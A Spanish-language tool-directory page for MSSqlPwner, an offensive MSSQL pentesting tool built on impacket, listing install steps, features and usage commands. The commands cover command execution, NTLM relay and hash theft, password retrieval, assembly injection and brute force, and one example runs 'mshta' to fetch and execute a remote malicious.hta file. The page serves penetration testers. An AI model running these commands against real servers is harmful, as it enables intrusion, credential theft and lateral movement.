Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
MSSqlPwner — Herramienta avanzada de pruebas de penetración en MSSQL para movimiento lateral, ejecución de comandos, relé NTLM y ataques de fuerza bruta a través de servidores vinculados y múltiples métodos de autenticación. | Kitploit
Herramientas/GitHubGitHub/scorpioneslabs/mssqlpwner
Ataques de ContraseñasExplotaciónMovimiento LateralRecopilación de InformaciónPruebas de PenetraciónAutenticaciónRed TeamingSeguridad de Bases de Datos
GitHubscorpioneslabs/mssqlpwner

MSSqlPwner

Herramienta avanzada de pruebas de penetración en MSSQL para movimiento lateral, ejecución de comandos, relé NTLM y ataques de fuerza bruta a través de servidores vinculados y múltiples métodos de autenticación.

Ver Repositorio
458631hace 6 díasRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

MSSqlPwner

MSSqlPwner es una herramienta de pentesting avanzada y versátil diseñada para interactuar y comprometer servidores MSSQL de manera fluida. Esta herramienta está basada en impacket, lo que permite a los atacantes autenticarse en bases de datos mediante contraseñas en texto claro, hashes NTLM y tickets Kerberos. Con MSSqlPwner, los usuarios pueden ejecutar comandos personalizados a través de diversos métodos, incluyendo ensamblados personalizados, xp_cmdshell, sp_oacreate (Procedimientos de Automatización OLE) y mucho más.

La herramienta comienza con una enumeración recursiva de servidores vinculados y posibles suplantaciones para recopilar todas las cadenas posibles para la ejecución de comandos.

Además, MSSqlPwner se puede utilizar para capacidades de retransmisión NTLM, utilizando funciones como xp_dirtree, xp_subdirs, xp_fileexist.

Esta herramienta puede ser utilizada para evaluaciones de movimiento lateral y exploración de servidores vinculados.

Si el usuario autenticado de MSSQL no tiene permiso para realizar ciertas operaciones, la herramienta puede encontrar la cadena correcta que permita la ejecución de comandos. Por ejemplo, si tu usuario no puede ejecutar comandos en el contexto actual, la herramienta construirá una cadena que utilice un servidor vinculado y se conecte de vuelta a nuestro servidor con privilegios elevados.

Instalación

Empezar con mssqlpwner es muy sencillo. Puedes hacerlo extrayendo directamente del repositorio:

root@kitploit:~
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

O, usando pipx —y deberías—, prueba esto:

root@kitploit:~
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

Y ahora puedes usar tu nueva herramienta favorita:

root@kitploit:~
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive

Ejemplos

Ejecución de comandos

Fuerza bruta

Esta herramienta es compatible con múltiples métodos de autenticación que se describen a continuación.

Descargo de responsabilidad

Esta herramienta está diseñada para profesionales de seguridad e investigadores únicamente con fines de prueba y no debe utilizarse para fines ilegales.

Funcionalidades:

  1. Utilidades:
  • interactive: permite usar la herramienta de forma interactiva con ejecución en vivo.
  • enumerate: enumera los servidores vinculados y las cadenas.
  • get-chain-list obtiene la lista de cadenas:
    • Argumentos opcionales:
      • -filter-hostname HOSTNAME - Obtiene resultados filtrados con un nombre de host específico.
  • get-link-server-list obtiene la lista de servidores vinculados.
  • set-chain Establece el ID de la cadena (¡Solo para modo interactivo!)
    • Argumentos requeridos:
      • CHAIN - El ID de la cadena a establecer.
  • set-link-server Establece el servidor vinculado (¡Solo para modo interactivo!)
    • Argumentos requeridos:
      • LINK - El servidor vinculado a establecer.
  • get-rev2self-queries recupera consultas para revertir a SELF (¡Solo para modo interactivo!).
  • get-adsi-provider-list recupera la lista de proveedores ADSI.
  1. Ejecución de comandos: Ejecuta comandos usando las siguientes funciones:
  • exec Ejecuta comandos usando exec en el servidor local o en servidores vinculados.
    • Argumentos requeridos:
      • COMMAND - El comando a ejecutar.
    • Argumentos opcionales:
      • -command_execution_method - El método de ejecución de comandos a utilizar.
        • Métodos soportados:
          • xp_cmdshell - Ejecuta comandos usando el procedimiento xp_cmdshell (Por defecto).
          • sp_oacreate - Ejecuta comandos usando el procedimiento Ole Automation Procedure (Debe usarse como "cmd /c algo").
  1. Recuperación de contraseñas:
  • retrieve-password Recuperación de contraseñas de proveedores ADSI.
    • Argumentos opcionales:
      • -listen-port - El puerto en el que escuchar (Por defecto: 1389).
      • -adsi-provider - Proveedor ADSI a utilizar (si no se define, se elegirá automáticamente).
      • -arch - La arquitectura a utilizar (si no se define, se elegirá automáticamente).
        • Arquitecturas soportadas:
          • x86 - Usar arquitectura x86.
          • x64 - Usar arquitectura x64.
  1. Robo y retransmisión de hashes NTLM: Realiza retransmisión NTLM o roba hashes NTLM usando las siguientes funciones:
  • ntlm-relay - Fuerza retransmisión NTLM a un servidor.
    • Argumentos requeridos:
      • SMB_SERVER - El servidor SMB al que retransmitir.
    • Argumentos opcionales:
      • -relay-method - El método de retransmisión a utilizar.
        • Métodos soportados:
          • xp_dirtree - Usar procedimiento xp_dirtree (Por defecto).
          • xp_subdirs - Usar procedimiento xp_subdirs.
          • xp_fileexist - Usar procedimiento xp_fileexist (En algunas situaciones este módulo debe ejecutarse desde una cadena privilegiada).
  1. Ejecución de procedimientos mediante ensamblados personalizados:
  • custom-asm - Ejecuta procedimientos usando ensamblados personalizados.
    • Argumentos requeridos:
      • COMMAND - El comando/ruta o consulta a usar.
    • Argumentos opcionales:
      • -procedure-name - El nombre del procedimiento a usar (Por defecto: execute_command).
        • Procedimientos soportados:
        • execute_command - Ejecuta comandos usando ensamblado personalizado (Por defecto).
        • run_query - Ejecuta consultas usando ensamblado personalizado.
        • run_query_system_service - Ejecuta consultas usando ensamblado personalizado como usuario del sistema (Como SqlSVC).
  • inject-custom-asm Inyecta código usando ensamblado personalizado.
    • Argumentos requeridos:
      • file_location - La ubicación del archivo a inyectar.
    • Argumentos opcionales:
    • -procedure-name - El nombre del procedimiento a usar (Por defecto: ).
  1. Consultas directas
  • direct-query Ejecuta consultas directas.
  • Argumentos requeridos:
    • QUERY - La consulta a ejecutar.
  • Argumentos opcionales:
  • -query-method - El método de consulta a utilizar.
    • Métodos soportados:
      • OpenQuery - Usar procedimiento OpenQuery (Por defecto).
      • exec_at - Usar procedimiento exec AT.
  1. Fuerza bruta
  • brute Lanza fuerza bruta (Puede recibir tickets, hashes y contraseñas).
  • Argumentos requeridos:
    • TARGETS_FILE - Un archivo que contiene hosts e IPs para hacer fuerza bruta.
    • -ul - Un archivo que contiene usuarios para hacer fuerza bruta.
  • Argumentos opcionales:
    • -pl - Un archivo que contiene contraseñas para hacer fuerza bruta.
    • -tl - Un archivo que contiene tickets para hacer fuerza bruta.
    • -hl - Un archivo que contiene hashes para hacer fuerza bruta.
  • Notas:
  • Si deseas usar tickets, debes usar el formato de Nombre Principal de Servicio (SPN) (Como MSSQLSvc/hostname.domain.com:1433).
  • Si usas tickets, no necesitas proporcionar contraseñas o hashes.
  • Si NO usas tickets, debes proporcionar al menos un archivo de contraseñas o un archivo de hashes.

Argumentos opcionales generales (Deben ir ANTES de la función elegida):

  • -link-name - El nombre del servidor vinculado a usar
  • -chain-id - El ID de la cadena a usar
  • -max-link-depth - La profundidad máxima del enlace a usar (Por defecto: 10)
  • -max-impersonation-depth - La profundidad máxima de suplantación a usar (Por defecto: 10)
  • -auto-yes - Responder automáticamente sí a todas las preguntas (Por defecto: False)
  • -timeout - El tiempo de espera a usar (Por defecto: 30)

Movimiento lateral y exploración de cadenas:

MSSqlPwner proporciona oportunidades para evaluaciones de movimiento lateral y exploración de servidores vinculados. En escenarios donde la sesión actual carece de privilegios administrativos, la herramienta intenta encontrar una cadena que eleve sus propios privilegios a través de servidores vinculados. Si una sesión en un servidor vinculado tiene privilegios más altos, la herramienta puede interactuar con el servidor vinculado y realizar una consulta vinculada de vuelta al host con privilegios elevados, permitiendo el movimiento lateral hacia el servidor objetivo.

Métodos de autenticación:

Compatible con múltiples métodos de autenticación, incluyendo:

  • Credenciales de Windows
  • Credenciales de MSSQL
  • Autenticación Kerberos
  • Tickets Kerberos
  • Hashes NTLM

La herramienta se adapta a diversos escenarios y entornos, verificando la efectividad de los mecanismos de autenticación.

Lleva tus evaluaciones de entornos MSSQL al siguiente nivel con el poder y la versatilidad de MSSqlPwner. Descubre nuevas posibilidades para movimiento lateral, consultas sigilosas y evaluaciones de seguridad precisas con la herramienta MSSqlPwner.

Uso

root@kitploit:~
# Interactive mode
mssqlpwner corp.com/user:[email protected] -windows-auth interactive

# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:[email protected] -windows-auth  -max-impersonation-depth 2 interactive


# Executing custom assembly on the current server with windows authentication and executing hostname command 
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250

# Executing direct query
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"

# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password

# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

Agradecimientos

  • Kim Dvash por diseñar este increíble logotipo.
  • Pablo Martínez por la inspiración y la idea de la técnica de recuperación de contraseñas.
  • Omri Baso por ayudar con la inspiración y las ideas.
Descargar herramienta
  • rev2self revierte a SELF (¡Solo para modo interactivo!).
  • Inject